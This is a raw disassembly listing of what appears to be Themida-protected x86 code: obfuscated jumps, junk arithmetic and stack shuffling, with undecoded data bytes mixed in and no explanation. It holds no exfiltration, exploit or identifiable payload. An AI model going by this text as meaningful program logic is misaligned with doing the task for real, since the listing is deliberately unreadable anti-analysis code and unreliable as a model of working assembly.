Themida_:0054A1E0j sub edx, 518E0384h add edx, 56F3D28h pop edi add edx, 4 xchg edx, [esp] pop esp or edx, eax shl edx, 1 sub esp, 4 mov [esp], ebp push 1 pop ebp jmp loc_54F01B ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 0C8B665Ch, 4EC8324h, 54240489h, 0FFF199E9h, 2434FFFFh dd 4C4835Ah, 0FFF2F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D935: ; CODE XREF: Themida_:0054A251j pop edi add ebx, 0F0300805h jmp loc_547E6A ; --------------------------------------------------------------------------- db 0BEh, 9Eh, 7 dd 74014795h, 348B0424h, 4C48324h, 0E924048Bh, 15Bh, 0C7EC381h dd 5756594Ch, 0FFFE1EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D965: ; CODE XREF: Themida_:0055290Cj shl ebx, 4 xor ebx, 0FBC8C264h add ebp, ebx pop ebx jmp loc_551F7E ; --------------------------------------------------------------------------- dw 489h dd 442B824h, 0EEE97FCDh, 52FFFFA8h, 101C6CBAh, 58E40533h dd 1AE91146h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D993: ; CODE XREF: Themida_:0054E5E7j mov ecx, 5BCC4388h or edi, ecx mov ecx, [esp] add esp, 4 xor edi, 48102D82h mov edx, edi pop edi jmp loc_54D0C7 ; --------------------------------------------------------------------------- loc_54D9B1: ; CODE XREF: Themida_:00550A0Dj mov esp, [esp] mov [esp], esi push eax jmp loc_54BF68 ; --------------------------------------------------------------------------- db 50h, 0B8h, 13h dd 4038A51Bh, 25D0F748h, 4962245Bh, 244D3540h, 0C7014142h dd 0FFA040E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D9D9: ; CODE XREF: Themida_:00550A50j push 213h mov [esp], ebp mov ebp, 4B83478Fh add eax, ebp push dword ptr [esp] pop ebp add esp, 4 push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push 3072h mov [esp], esi push esp pop esi push edx mov edx, 4 add esi, edx pop edx add esi, 4 jmp loc_5509AC ; --------------------------------------------------------------------------- db 81h dd 30289CC6h, 38BB536Dh, 21221744h, 52E95BDEh, 81000039h dd 94349BEBh, 0DFE38100h, 0F7624F6Ch, 0E26CE9D3h, 0E828FFFFh dd 2EC8159h, 66000000h, 68241C89h, 72BBh, 0E9240489h, 0FFFFCEA2h dd 4BA5259h, 29000000h, 34335AD6h, 24343124h, 8B243433h dd 14892424h, 0D07AE924h, 0E281FFFFh, 5E5B399Dh, 39FFF281h dd 0EAC109DFh, 0EDE28103h, 81461047h, 114A14CAh, 0E7BF5700h dd 1FFEEB4h, 0D1895FFAh, 27CCE95Ah, 0C4830000h, 0B35304h dd 0C061CB80h, 6EE902E3h, 81000022h, 4C4h, 5685200h, 8900002Fh dd 88B9240Ch, 0C117EC5Bh, 0FE908E1h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DACF: ; CODE XREF: Themida_:0054CF5Dj xor bl, al push 0AF3h mov [esp], eax jmp loc_552545 ; --------------------------------------------------------------------------- dw 0D468h dd 89000011h, 0E389241Ch, 4C381h, 0EC830000h, 24048904h dd 0FBA5253h, 0E903CA3Bh, 0FFFFC491h, 0E9D8015Fh, 0FFFF9566h dd 24048155h, 3FFE1C14h, 14EB815Bh, 0E93FFE1Ch, 0FFFF8F2Fh dd 7970C281h, 0E95E3F13h, 3693h, 81240C89h, 3DC62434h dd 575A45D9h, 0FFAE90E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DB39: ; CODE XREF: Themida_:0054E43Aj push ebx jmp loc_549957 ; --------------------------------------------------------------------------- loc_54DB3F: ; CODE XREF: Themida_:0054AFF1j xor esi, 73DB144Dh jmp loc_5498C7 ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 83000000h, 348704C6h, 1C335C24h, 241C3124h dd 8B241C33h, 0EE92424h, 5400001Dh, 0FFF78FE9h, 3DA3BFFFh dd 814F3CE2h, 814BB2E7h, 97AAE95Ch, 0C481FFFFh, 4, 75EA80h dd 90E95AD3h, 81FFFFA3h, 4C3h, 0C9BAE900h, 0EBD1FFFFh dd 0E6EB8143h, 3133F46Bh, 0B1CAE9DDh, 18B8FFFFh, 0F75F9A50h dd 375FE9D8h, 814F0000h, 0AACD4BEFh, 5FFD290Eh, 930E9h dd 0B5E95F00h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBCF: ; CODE XREF: Themida_:00551EE0j xchg ebx, [esp] jmp loc_54DFD9 ; --------------------------------------------------------------------------- loc_54DBD7: ; CODE XREF: Themida_:00546F74j push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] add edx, 3E4666E1h mov esi, [esp] add esp, 4 and ecx, edx mov edx, [esp] add esp, 4 shr ecx, 0Bh push ebp mov ebp, esp push eax jmp loc_546B29 ; --------------------------------------------------------------------------- dd 655BF681h, 0CE816DD1h, 30A86FAFh, 6502F681h, 8CE9368Dh dd 5B00000Ah, 5C2E981h, 7DE962D7h, 5800002Ah, 0E9FFEE80h dd 0FFFF95F1h, 7EA815Bh, 297FDE2Fh, 7C281C2h, 837FDE2Fh dd 0C8904ECh, 0A9BE5624h, 0C16D474Bh, 0D7E902E6h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DC5B: ; CODE XREF: Themida_:00552025j push esi mov esi, 100465DEh jmp loc_5487D1 ; --------------------------------------------------------------------------- aUtHC db 'UT]hÝC',0 align 2 dw 0C89h dd 0B9515224h, 6BE47A6Bh, 0B959CA89h, 1F286F95h, 68h, 24048100h dd 6AFD50BDh, 81240C29h, 50BD242Ch, 0E0E96AFDh, 0FF00000Fh dd 42E92434h, 0B8FFFF91h, 753BCDDAh, 2958C129h, 0BD5559C8h dd 44E52980h, 1355BF2Dh, 5E80164h, 641355BFh, 0FFD811E9h dd 242C81FFh, 52500F21h, 0FFCEBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DCD1: ; CODE XREF: Themida_:00549008j xor edx, edi xor edi, edx jmp loc_55210F ; --------------------------------------------------------------------------- loc_54DCDA: ; CODE XREF: Themida_:00552312j add esp, 4 add esp, 4 shr eax, 0Ch xor eax, ecx jmp loc_5472AE ; --------------------------------------------------------------------------- dd 30EDB850h, 0C2290355h, 93C28158h, 0E92E4944h, 228Dh dd 55241C89h, 0FFB9D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DD0D: ; CODE XREF: Themida_:0054C11Aj jmp loc_54CBA3 ; --------------------------------------------------------------------------- dw 0C101h dd 6DC8BB53h, 0EB817FB4h, 336C6B03h, 465C181h, 0D9011CCFh dd 465E981h, 585B1CCFh, 2C181h, 0D8E90000h, 0C100001Fh dd 19E903E6h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DD43: ; CODE XREF: Themida_:00550E15j push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5478E5 ; --------------------------------------------------------------------------- dd 2858C600h, 24148BF0h, 0E904C483h, 0FFFFED44h, 2414335Eh dd 33241431h, 0FF5C2414h, 34FF2434h, 0D804E924h, 34FFFFFFh dd 83535824h, 248904ECh, 24048124h, 4, 0E9241C8Bh, 0FFFFB3C0h dd 8124048Bh, 4C4h, 653E6800h, 4890000h, 5E08924h, 4, 0E904E883h dd 0FFFF8C8Eh, 84C6815Bh, 0E977941Eh, 0FFFFC009h, 0C680D6F6h dd 0E8C680AFh, 0FFCF7DE9h, 8438E9FFh, 4BBFFFFh, 81000000h dd 8D49BEEEh, 81DE014Eh, 8D49BEC6h, 0EC815B4Eh, 4, 0BB241C89h dd 2, 35CABD55h, 31E957A7h, 81FFFFCEh, 7FE9B9F2h, 5AD189B6h dd 0E902E9C1h, 0FFFFE5FAh ; --------------------------------------------------------------------------- loc_54DE10: ; CODE XREF: Themida_:005477F2j xchg ebp, [esp] jmp loc_54C654 ; --------------------------------------------------------------------------- dd 240C8B66h, 4EC81h, 1C890000h, 3885E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DE2A: ; CODE XREF: Themida_:0054E26Fj dec esi dec esi shr esi, 6 jmp loc_54F738 ; --------------------------------------------------------------------------- dd 8B24048Fh, 4312424h, 83C8E924h, 0EB81FFFFh, 6223E54h dd 0C381CB01h, 6223E54h, 0FF5B0303h, 0C8B2434h, 4C48124h dd 50000000h, 0CAE9E089h, 81FFFF9Ch, 0FBB863C7h, 0F1C1811Ch dd 14A6A1Dh, 0F1E981F9h, 0E94A6A1Dh, 0FFFFBFA0h, 240C3166h dd 240C3366h, 240C3166h, 66D93166h, 3166CB31h, 6D6866D9h dd 1C896623h, 14F76624h, 665B6624h, 662F2768h, 66240C89h dd 0B1B3E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DEB2: ; CODE XREF: Themida_:00547CE2j push 76ACh mov [esp], ecx push edx mov dl, 86h mov cl, dl jmp loc_5485C6 ; --------------------------------------------------------------------------- loc_54DEC4: ; CODE XREF: Themida_:0054E97Cj sub ebp, edx pop edx push ebp not dword ptr [esp] pop ebp add ebp, 9603C964h add ecx, ebp mov ebp, [esp] jmp loc_54A914 ; --------------------------------------------------------------------------- dd 6B6668h, 241C8900h, 241C8B54h, 3CC1E9h db 0 ; --------------------------------------------------------------------------- loc_54DEED: ; CODE XREF: Themida_:00550468j xor ebp, edx xor edx, ebp xor ebp, edx sub esp, 4 mov [esp], edx not dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_552141 ; --------------------------------------------------------------------------- dd offset dword_457444+55724h dw 6800h dd 7B5h, 0E9242489h, 0FFFFCCDFh, 0C0D8E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF22: ; CODE XREF: Themida_:0054BCA5j add esp, 4 and eax, ebx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_548CCA ; --------------------------------------------------------------------------- db 83h dd 0EB2904C4h, 5D2434FFh, 4C481h, 0C3010000h, 8904EC83h dd 0EDE92414h, 29000026h, 6C212DF8h, 3FE94224h, 83000032h dd 1C8704EBh, 24248B24h, 0E9240C89h, 0FFFFE72Dh, 50243C8Bh dd 3CE95854h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF7F: ; CODE XREF: Themida_:0054695Dj xor ebx, eax pop eax sub ecx, ebx pop ebx push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5468A6 ; --------------------------------------------------------------------------- loc_54DF99: ; CODE XREF: Themida_:00550428j jmp loc_54620A ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 0FFAC9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DFA9: ; CODE XREF: Themida_:0054EA86j not ebp inc ebp inc ebp or ebp, 5785F98h jmp loc_550FC9 ; --------------------------------------------------------------------------- loc_54DFB8: ; CODE XREF: Themida_:0054F2A8j mov esi, 62341570h jmp loc_5522B6 ; --------------------------------------------------------------------------- dw 2168h dd 8900003Eh, 9068240Ch, 8900002Fh, 90B42404h, 0FFDFCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DFD9: ; CODE XREF: Themida_:0054DBD2j pop esp jmp loc_54E128 ; --------------------------------------------------------------------------- db 0BAh dd 68262CAh, 0F281D2F7h, 9BA89F0Eh, 0E95AD389h, 0FFFFE52Eh ; --------------------------------------------------------------------------- loc_54DFF4: ; CODE XREF: Themida_:00548841j pop ecx push edx push ecx push eax jmp loc_552650 ; --------------------------------------------------------------------------- aXaas_8 db 'Xaé_8',0 dd 1306BA00h, 0D7897E87h, 8950E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E012: ; CODE XREF: Themida_:00546B3Ej mov edx, 4 jmp loc_551FC9 ; --------------------------------------------------------------------------- dd 0E9241CF7h, 0FFFFBD4Ch, 2CA66866h, 24048966h, 0FF81D9E9h dd 0F3EA81FFh, 31DBDD8Ah, 0F4CAE9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E03E: ; CODE XREF: Themida_:0054CD6Bj add esp, 4 pop ebp loc_54E045: ; CODE XREF: Themida_:00550681j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push edx jmp loc_546EBE ; --------------------------------------------------------------------------- loc_54E075: ; CODE XREF: Themida_:0054A42Dj add bl, al pop ax jmp loc_54E110 ; --------------------------------------------------------------------------- dw 14F7h dd 24148B24h, 4C481h, 54E90000h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E08F: ; CODE XREF: Themida_:0054FC19j push dword ptr [esp] pop edx push esi mov esi, esp jmp loc_54EAA1 ; --------------------------------------------------------------------------- db 88h dd 25AE9D3h, 8B660000h, 0EC812404h, 4, 54240489h, 8DAFE958h dd 0EC83FFFFh, 243C8904h, 0BE565F54h, 142A003Eh, 0FFC29AE9h dd 86B151FFh, 30B4B652h, 0C8285AF1h, 0E9240C8Bh, 0FFFFA819h ; --------------------------------------------------------------------------- loc_54E0DC: ; CODE XREF: Themida_:0054E589j add bl, 0D1h mov ah, bl pop ebx neg ah shr ah, 5 and ah, 85h xor ah, 97h add ah, 77h add cl, ah jmp loc_548CB8 ; --------------------------------------------------------------------------- db 5Ah dd 80CDB652h, 0BDE93FEEh, 0FEFFFFFCh, 72EC80C4h, 0E97CC480h dd 0E9Ch ; --------------------------------------------------------------------------- loc_54E110: ; CODE XREF: Themida_:0054E079j push ecx jmp loc_5527A6 ; --------------------------------------------------------------------------- dw 4B05h dd 13E5729h, 294B2DD8h, 0E9563E57h, 0FFFFF03Eh ; --------------------------------------------------------------------------- loc_54E128: ; CODE XREF: Themida_:0054DFDAj or edx, eax shl edx, 1 sub esp, 4 mov [esp], esi mov esi, 41D47AA2h jmp loc_55085A ; --------------------------------------------------------------------------- loc_54E13C: ; CODE XREF: Themida_:0054FC81j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_54915F ; --------------------------------------------------------------------------- db 0C7h, 42h, 30h dd 6DC53604h, 30BB53h, 0D3010000h, 0FFC559E9h, 507BB3FFh dd 0D8F6B9B0h, 0B424AE2Ch, 0C2282404h, 0F17E9h, 24048700h dd 24048F5Ch, 2434FF5Ch, 8324048Bh, 815604C4h, 4ECh, 24248900h dd 4240481h, 0E9000000h, 40C3h, 3FFAE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E1A2: ; CODE XREF: Themida_:0054D3FFj xor cl, 2 sub al, cl pop ecx push edx push 3A14h mov [esp], ebx mov bh, 0EDh xor bh, 85h mov dl, bh jmp loc_546643 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0F2h dd 5611BF37h, 40C812BEh, 5EF789EEh, 0FF8BE7E9h, 0C3166FFh dd 0C336624h, 0C316624h, 3CEBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E1E2: ; CODE XREF: Themida_:005515EDj push 7C52h mov [esp], ebx sub esp, 4 mov [esp], ebp mov ebp, 51317744h push 7DB6h mov [esp], eax mov eax, 51317B44h mov ebx, eax mov eax, [esp] jmp loc_549882 ; --------------------------------------------------------------------------- dd 0F3E9555Ah, 29FFFFC2h, 348B5DE9h, 4C48124h, 87000000h dd 7E9240Ch, 8100003Fh, 4C4h, 0D7F74F00h, 0FF8FC1E9h, 4EC81FFh dd 0E9000000h, 0FFFFFAC4h ; --------------------------------------------------------------------------- loc_54E240: ; CODE XREF: Themida_:0054E2D8j and ecx, 40D5EF6h xor ecx, 0DD8BE3Bh jmp loc_54C90D ; --------------------------------------------------------------------------- db 1, 0D0h, 5 dd 5E297007h, 2404875Ah, 0FF9444E9h, 0C1015FFFh, 240C8758h dd 275E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E26E: ; CODE XREF: Themida_:0054A593j pop ecx jmp loc_54DE2A ; --------------------------------------------------------------------------- dd 5A2434FFh, 0FDE95456h, 68000035h, 5149h, 89243C89h dd 0BB5350E7h, 322D5E63h, 255BD889h, 1F210198h, 1FB9BE56h dd 0F009008Eh, 4C55055Eh, 0E8C100D2h, 0BAE95205h, 66FFFF95h dd 83241C8Bh, 0F28002C4h, 28EB2C5Ah, 0FC5AE9D0h, 0F801FFFFh dd 0FF958DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E2C9: ; CODE XREF: Themida_:0054A2A9j sub ebp, 89563D5Bh sub ecx, ebp mov ebp, [esp] add esp, 4 dec ecx jmp loc_54E240 ; --------------------------------------------------------------------------- db 83h, 0C5h, 1 dd 4D03EDC1h, 0C581DDF7h, 245D651Bh, 0DC3E9h db 0 ; --------------------------------------------------------------------------- loc_54E2F1: ; CODE XREF: Themida_:005466FFj or eax, 2B27729Fh dec eax jmp loc_54EF63 ; --------------------------------------------------------------------------- dd 0D988CA88h, 81241C8Bh, 4C4h, 0D446E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E30E: ; CODE XREF: Themida_:0054C1E0j mov ebx, 50B850B7h or ebx, 244F2A7Eh jmp loc_54F46F ; --------------------------------------------------------------------------- dw 8B66h dd 0CF68240Ch, 0E9000036h, 3A0Ah ; --------------------------------------------------------------------------- loc_54E32C: ; CODE XREF: Themida_:00547069j pop ebx add dl, 0FFh sub dl, 0D1h add al, dl pop edx jmp loc_5491C7 ; --------------------------------------------------------------------------- db 66h dd 66743B68h, 0E9240C89h, 0FFFF7EC2h, 6FEA815Fh, 0E94A7044h dd 0FFFF7EB6h ; --------------------------------------------------------------------------- loc_54E354: ; CODE XREF: Themida_:00550CA4j shl ecx, 8 sub ecx, 0FFFFFFFFh push ebx mov ebx, 8AC0A60Fh xor ecx, ebx jmp loc_54F3D8 ; --------------------------------------------------------------------------- loc_54E367: ; CODE XREF: Themida_:00548B61j or ebp, 7BC22857h jmp loc_547258 ; --------------------------------------------------------------------------- dw 248Bh dd 0C896624h, 0B60F6624h, 9C5166C8h, 0FF7E85E9h, 0BDE947FFh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E38B: ; CODE XREF: Themida_:0054F778j push edi mov edi, 4B365FE8h push edi not dword ptr [esp] pop edi jmp loc_549450 ; --------------------------------------------------------------------------- db 0BFh dd 6FC48D4h, 2704EA81h, 0FA015DD8h, 0BCEEE956h, 83ADFFFFh dd 3FE904ECh, 0FFFFFFAEh, 34FF2434h, 0AE95924h, 0ADFFFF9Fh dd 8904EC83h, 6852240Ch, 7DE51663h, 0C2814A5Ah, 50C902F0h dd 0E904E2C1h, 0FFFFFA1Fh, 0C381CB01h, 4539460Dh, 241C8759h dd 8324248Bh, 148904ECh, 0E9E28924h, 0FFFFA4C9h ; --------------------------------------------------------------------------- loc_54E3FC: ; CODE XREF: Themida_:00551B5Fj push 1FADh mov [esp], ecx push 1 jmp loc_54A522 ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 22E95DE8h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E41B: ; CODE XREF: Themida_:00551483j add dh, 0B5h xor dh, 4Ah add bl, dh pop edx jmp loc_54B62E ; --------------------------------------------------------------------------- loc_54E429: ; CODE XREF: Themida_:0054D5CAj sub edx, esi add edx, 3A9912F9h pop esi mov eax, edx mov edx, [esp] push ecx mov ecx, esp jmp loc_54DB39 ; --------------------------------------------------------------------------- loc_54E43F: ; CODE XREF: Themida_:0054916Bj push ebp mov ebp, 2A945A32h and ebp, 225824E5h sub ebp, 0CB30B874h xor edx, ebp pop ebp or edx, 19D5734Ah and edx, 1C866BCh jmp loc_546B94 ; --------------------------------------------------------------------------- db 5Ch, 89h, 1Ch dd 2434FF24h, 4C4815Eh, 0E9000000h, 0FFFF98DFh, 0EAC0D9B2h dd 1DE95204h, 0F6000037h, 0E99C241Ch, 0FFFF7D7Eh ; --------------------------------------------------------------------------- loc_54E48C: ; CODE XREF: Themida_:00547B12j mov dl, cl push ebx mov ebx, 0 add ebx, eax mov [ebx], dl pop ebx pop edx pop ecx jmp loc_54620A ; --------------------------------------------------------------------------- dd 24048F54h, 4240483h, 13FE9h db 0 ; --------------------------------------------------------------------------- loc_54E4AD: ; CODE XREF: Themida_:005476AFj add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_54B8EC ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C8700h, 214E95Ch, 348B0000h, 4C48124h, 68000000h dd 4478h, 89243C89h, 0EE952E7h, 81FFFFE7h, 4C1h, 27E7E900h dd 0EB810000h, 628C2E91h, 0FFE557E9h, 0FF5E55FFh, 35E92434h dd 0BAFFFF8Fh, 69D132E6h, 32E2EA81h, 0D00169D1h, 4EC835Ah dd 53243C89h, 0FFC1CAE9h, 4EC83FFh, 0BF243C89h, 0A5A1810Ch dd 5686C181h, 0E9E95B97h, 89FFFF7Dh, 77E92404h, 68FFFFB0h dd 655Eh, 50242C89h, 2597E9h, 30D56800h, 1C890000h, 13146824h dd 14890000h, 4EC8124h, 89000000h, 34FF2404h, 24148B24h dd 0C452E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E56E: ; CODE XREF: Themida_:0054EC5Ej push esi mov esi, 4 add edx, esi pop esi xchg edx, [esp] jmp loc_54ACC1 ; --------------------------------------------------------------------------- loc_54E57F: ; CODE XREF: Themida_:00551102j mov bl, 9Bh neg bl shr bl, 2 sub bl, 0C9h jmp loc_54E0DC ; --------------------------------------------------------------------------- dw 77E9h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E593: ; CODE XREF: Themida_:0054CF4Dj push 6E651712h jmp loc_54E7F5 ; --------------------------------------------------------------------------- loc_54E59D: ; CODE XREF: Themida_:0054882Dj add esp, 4 jmp loc_5485DF ; --------------------------------------------------------------------------- dd 0C1815954h, 4, 4C181h, 0C870000h, 0D1E95C24h, 3Ch, 0D7E959CBh dd 0C1FFFFF9h, 0D0F708E0h, 5234DA0Dh, 9D750536h, 6CE9DEA5h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E5DB: ; CODE XREF: Themida_:00548ED3j mov esp, [esp] mov [esp], edi mov edi, 584010CBh push ecx jmp loc_54D993 ; --------------------------------------------------------------------------- dd 0E3E9515Eh, 0ACFFFFE7h, 47B753h, 241C8BF8h, 5E08950h dd 4, 405h, 24048700h, 47A2C5Ch, 0EE4CE997h, 0C601FFFFh dd 6B43C681h, 42E97F9Ch, 0FFFFFFC6h, 589D1C77h, 9C240411h dd 0FF7BD9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E631: ; CODE XREF: Themida_:0054673Ej pop ecx sub ebx, 67CC47ABh jmp loc_54C5DE ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4870000h, 0EA815C24h, 4473219Eh, 0FFDD6BE9h, 0C8B66FFh dd 2D446824h, 3C890000h, 81E78924h, 4ECh, 242C8900h, 4BDh dd 17C78100h, 14A3F6Eh, 274CE9EFh, 9A680000h, 8900003Fh dd 74FF2404h, 4EE90424h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E68B: ; CODE XREF: Themida_:0054A917j add edi, ecx mov ecx, [esp] add esp, 4 mov edx, edi pop edi loc_54E699: ; CODE XREF: Themida_:0054CF1Bj ; Themida_:00550169j push 135Ch jmp loc_550095 ; --------------------------------------------------------------------------- db 5Bh dd 4B9B6855h, 0A0E923E6h, 2900000Eh, 0E8295EF0h, 640AED05h dd 4BE95D49h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E6BF: ; CODE XREF: Themida_:0054ED0Ej xor esi, 2DDC6658h push esi pop ebx pop esi push edx mov edx, 0FFFFFFFFh sub ebx, edx pop edx not ebx jmp loc_546C0B ; --------------------------------------------------------------------------- dd 0C270E95Fh, 0BA52FFFFh, 6C1A13A1h, 2068D2F7h, 8900007Bh dd 0A5E92434h, 87FFFFCCh, 248B2404h, 48B6624h, 5E545624h dd 0BFFCE953h, 0D301FFFFh, 2B9515Ah, 0E9000000h, 31F6h ; --------------------------------------------------------------------------- loc_54E714: ; CODE XREF: Themida_:00551087j push esp pop edi push eax mov eax, 4 add edi, eax pop eax add edi, 4 xchg edi, [esp] pop esp shr ecx, 7 push dword ptr [edi+1Ch] push ecx mov ecx, 47811E1Dh add dword ptr [esp+4], 7ED04036h sub [esp+4], ecx sub esp, 4 jmp loc_54A0FB ; --------------------------------------------------------------------------- loc_54E749: ; CODE XREF: Themida_:0054A2D4j xchg edx, [esp] pop esp and eax, ebx pop ebx jmp loc_54EEB3 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 1DE95E04h, 89FFFFE8h, 4C781E7h, 81000000h, 2C7h, 243C8700h dd 28692C5Ch, 666904F0h, 8324148Bh, 0B65202C4h, 0FEDEF6D1h dd 0A8EE80C6h, 1F17E9h, 4CF26800h, 815A6073h, 0E2E95EAh dd 9BF28156h, 0E92DC16Eh, 0FFFFB1E7h, 2CE304ACh, 4E20478h dd 0EF70E910h, 248BFFFFh, 4C48324h, 0E99CC83Bh, 0FFFF7A4Ah ; --------------------------------------------------------------------------- loc_54E7C0: ; CODE XREF: Themida_:0054F521j not dword ptr [esp] pop ebp add ebp, 1 add ebp, 0FE9B9EBh add edi, ebp jmp loc_54EE84 ; --------------------------------------------------------------------------- db 0F7h dd 0C3ED81D5h, 1B53AE8h, 0C1835DE9h, 0F9E95104h, 68FFFFDAh dd 36AE37CFh, 0FF9182E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E7F5: ; CODE XREF: Themida_:0054E598j pop ebp and ecx, ebp pop ebp push ebp jmp loc_548F01 ; --------------------------------------------------------------------------- loc_54E7FF: ; CODE XREF: Themida_:00551DFCj inc eax or eax, 2BFB6457h xor eax, 336C5695h jmp loc_54A51A ; --------------------------------------------------------------------------- loc_54E80F: ; CODE XREF: Themida_:0054AFB6j pop esp mov [esp], esi push 478Dh mov [esp], ecx mov ecx, 3F9478A3h jmp loc_54A587 ; --------------------------------------------------------------------------- db 57h, 0BFh, 85h dd 56412C11h, 1BEh, 5EF70100h, 0D4C781h, 0FB31F2D4h, 0FCACE95Fh dd 0C89FFFFh, 4EC8324h, 68241489h, 87A3006h, 8324148Bh dd 256804C4h, 8900005Fh, 0F9BE2434h, 2153B54Ch, 24348BF2h dd 4A04C483h, 65CAEA81h, 0DEE9F444h, 51FFFFA0h, 4B9h, 0E9CF0100h dd 0CE5h ; --------------------------------------------------------------------------- loc_54E884: ; CODE XREF: Themida_:0054C0BAj mov ecx, 0 sub ecx, 28D63A47h add ecx, edx add ecx, 28D63A47h add dword ptr [ecx], 1 pop ecx pop edx jmp loc_54A175 ; --------------------------------------------------------------------------- dd 5E51E981h, 5749616Dh, 2C741CBFh, 5FF90972h, 0E981E1D1h dd 73B3B73Dh, 0E959CB29h, 2D5Fh, 0E9242C33h, 147Dh, 4EC8159h dd 0E9000000h, 0FFFFF250h, 4EC81h, 34890000h, 2BE24h, 0BA520000h dd 18452223h, 0E95AD001h, 0FFFF793Ah, 8104E2C1h, 0FF629BC2h dd 81DAF71Bh, 0A44E63EAh, 5AD38920h, 815BD889h, 953975EBh dd 2BEB8102h, 1055109h, 2BC381C3h, 81055109h, 953975C3h dd 80685802h, 89000024h, 74FF241Ch, 1C8B0424h, 4C48324h dd 5C24048Fh, 24040966h, 78C4E99Ch, 0C121FFFFh, 0E92434FFh dd 1A76h ; --------------------------------------------------------------------------- loc_54E950: ; CODE XREF: Themida_:00551117j add esp, 4 add bl, al add bl, 5 push small 4D94h jmp loc_551B64 ; --------------------------------------------------------------------------- aUs db 'UéÓ(',0 align 2 loc_54E96A: ; CODE XREF: Themida_:00549CBFj and edx, 3923480Dh and edx, 366873EFh add edx, 27AEE91h jmp loc_54DEC4 ; --------------------------------------------------------------------------- loc_54E981: ; CODE XREF: Themida_:00551A6Ej or eax, eax jmp loc_54EA35 ; --------------------------------------------------------------------------- loc_54E988: ; CODE XREF: Themida_:00552608j push dword ptr [esp] pop esi jmp loc_54D0FB ; --------------------------------------------------------------------------- db 54h, 5Bh, 0E9h dd 0FFFF78E1h, 37D7C981h, 0D9F7599Fh, 0EE9BF57h, 0D2E948CBh dd 0FFFFFFDAh, 7858E932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E9B2: ; CODE XREF: Themida_:0054869Cj or esi, 4B8960B4h xor esi, 4F99F5BBh sub ebx, esi pop esi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], edi mov edi, 10h and ebx, edi mov edi, [esp] push edi jmp loc_54C0AA ; --------------------------------------------------------------------------- loc_54E9DE: ; CODE XREF: Themida_:00549A14j sub edi, 0D4020753h mov edx, edi pop edi mov eax, 0F239E6F2h add eax, edx jmp loc_54BBD4 ; --------------------------------------------------------------------------- db 53h dd 1615E9h db 0 ; --------------------------------------------------------------------------- loc_54E9F9: ; CODE XREF: Themida_:0054F733j xchg ebp, [esp] mov esp, [esp] push ebx push esi jmp loc_54ED08 ; --------------------------------------------------------------------------- dw 0B850h dd 66E11DB0h, 3A55E9h, 77F4E900h, 77FFFFFFh, 59669D1Ch dd 9C241CD3h, 0FF77E5E9h, 0D831ADFFh, 702B68h, 241C8900h dd 0FFCCB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EA35: ; CODE XREF: Themida_:0054E983j jz loc_5493AB push dword ptr [edi+28h] jmp loc_54F2E8 ; --------------------------------------------------------------------------- db 81h dd 0D9E90BEFh, 5FFE01E1h, 0E95EF221h, 0FFFFE683h ; --------------------------------------------------------------------------- loc_54EA54: ; CODE XREF: Themida_:00549DFBj pop esi jmp loc_54FEB6 ; --------------------------------------------------------------------------- dw 0DA28h dd 0E9B4C280h, 0FFFFF84Bh ; --------------------------------------------------------------------------- 